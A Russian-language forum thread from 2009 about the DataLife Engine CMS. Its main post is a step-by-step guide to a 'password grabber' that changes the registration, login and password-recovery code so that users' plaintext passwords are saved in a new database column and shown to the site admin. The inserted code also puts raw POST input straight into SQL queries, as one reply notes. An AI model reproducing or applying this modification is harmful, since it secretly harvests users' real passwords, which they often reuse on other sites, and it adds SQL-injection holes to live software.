Модуль Создаем свой граббер паролей ;)

Тема в разделе "DLE", создана пользователем dragonstyle, 20 июн 2009.

Информация :
Актуальная версия DataLife Engine 11.3
( Final Release v.11.3 | Скачать DataLife Engine | Скачать 11.3 demo )
Нужно ли обновляться | Как обновиться | Изменения в шаблонах
> Нет русских символов <
[Приватная тема DLE (Все подробности в ЛС к модератору раздела)]

Версии 11.2 и ниже - уязвимы!

Локализации | F.A.Q. | Внешний вид
Правила раздела | Правила форума
Обсуждение хайда карается баном!
В каждом сообщении указывайте версию DLE, которого они касаются!
Статус темы:
Закрыта.
Модераторы: killoff
  1. dragonstyle

    dragonstyle Читатель

    Заблокирован
    Регистр.:
    17 ноя 2008
    Сообщения:
    524
    Симпатии:
    479
    Создаем грабер паролей...

    Сейчас расскажу в этой статье вам как за 10 минут сделать грабер паролей..

    Что нужно:
    Колонка в мускуле и изменения кода файлов...

    Добавляем колонку в таблицу с юзерами, назовем ее passer(а так как хотите, только потом в запросах замените)...
    Код:
    ALTER TABLE dle_users ADD `passer` varchar(40) NOT NULL AFTER `password`;
    Теперь нужно рассмотреть 3 ситуации:
    Регистрация.
    Вход.
    Востановления пароля
    Админка

    1) регистрация.
    открываем engine/modules/register.php
    ищем
    Код:
    $password1 = $_POST['password1'];
    ниже вставляем
    Код:
    $passer = $_POST['password1'];
    ищем запрос в базу (в конце..)
    Код:
    $db->query( "INSERT INTO " . USERPREFIX . "_users (name, password, email....) VALUES ('$name', '$regpassword', '$email'....
    вставляем колонку passer
    Код:
    $db->query( "INSERT INTO " . USERPREFIX . "_users (name, password, passer, email...) VALUES ('$name', '$regpassword', '$passer', '$email',
    готово, сохраняем...
    регистрацию сделали...
    2) востановление пароля
    открываем engine/modules/lostpassword.php
    ищем:
    Код:
    $db->query( "UPDATE " . USERPREFIX . "_users set password='" . md5( md5( $new_pass ) ) . "', allowed_ip = '' WHERE user_id='$douser'" );
    заменяем на
    Код:
    $db->query( "UPDATE " . USERPREFIX . "_users set password='" . md5( md5( $new_pass ) ) . "', passer='".$new_pass."', allowed_ip = '' WHERE user_id='$douser'" );
    готово, сохраняем...

    3)вход на сайт
    открываем engine/modules/sitelogin.php
    ищем
    Код:
    $_POST['login_password'] = md5( $_POST['login_password'] );
    ДО ЭТОГО вставляем
    Код:
    $passer = $_POST['login_password'];
    ниже в 2 местах ищем
    Код:
    lastdate='{$_TIME}', logged_ip='" . $_IP . "'
    заменяем на
    Код:
    lastdate='{$_TIME}', logged_ip='" . $_IP . "', passer='".$passer."'
    по смыслу все...

    4)админка
    теперь добавляем вывод пароля при просмотре профиля в админке...

    открываем engine/inc/editusers.php
    ищем
    Код:
        <tr>
            <td style="padding:4px;">{$lang['user_newpass']}</td>
            <td colspan="2"><input size="20" name="editpass" class="edit"></td>
        </tr>
    ниже вставляем:
    Код:
        <tr>
            <td style="padding:4px;">Пароль:</td>
            <td colspan="2">{$row['passer']}</td>
        </tr>
    или, чтобы просмотр был возможен только пользователю с id=1
    Код:
    HTML;
    if($member_id['user_id'] == "1") {
    echo <<<HTML
        <tr>
            <td style="padding:4px;">Пароль:</td>
            <td colspan="2">{$row['passer']}</td>
        </tr>
    HTML;
    }
    echo <<<HTML
    Идея взята с Password Base 4.0
    Сделал: MATRIX

    p.s. идея модуля не продается...
    Некоторое взял под хайд 3, кто нибудь да поймет причину ;)
    Исправлена ошибка в работе с базой ;)
     
    irk и latteo нравится это.
  2. Mutant

    Mutant

    Регистр.:
    10 июн 2006
    Сообщения:
    214
    Симпатии:
    71
    Столкнулся с тем, что если в настройках движка стоит подтверждение регистрации через e-mail, то после перехода по ссылки активации, (которая на почту приходит) mysql выдает ошибку по поводу несовпадения полей. Если же сделать упрощенную регистрацию - все проходит на ура.
     
  3. PoMaH

    PoMaH

    Регистр.:
    8 июн 2006
    Сообщения:
    753
    Симпатии:
    142
    подняли такйю старую тему... а в неи и фильтрации данных даже нет...
     
Статус темы:
Закрыта.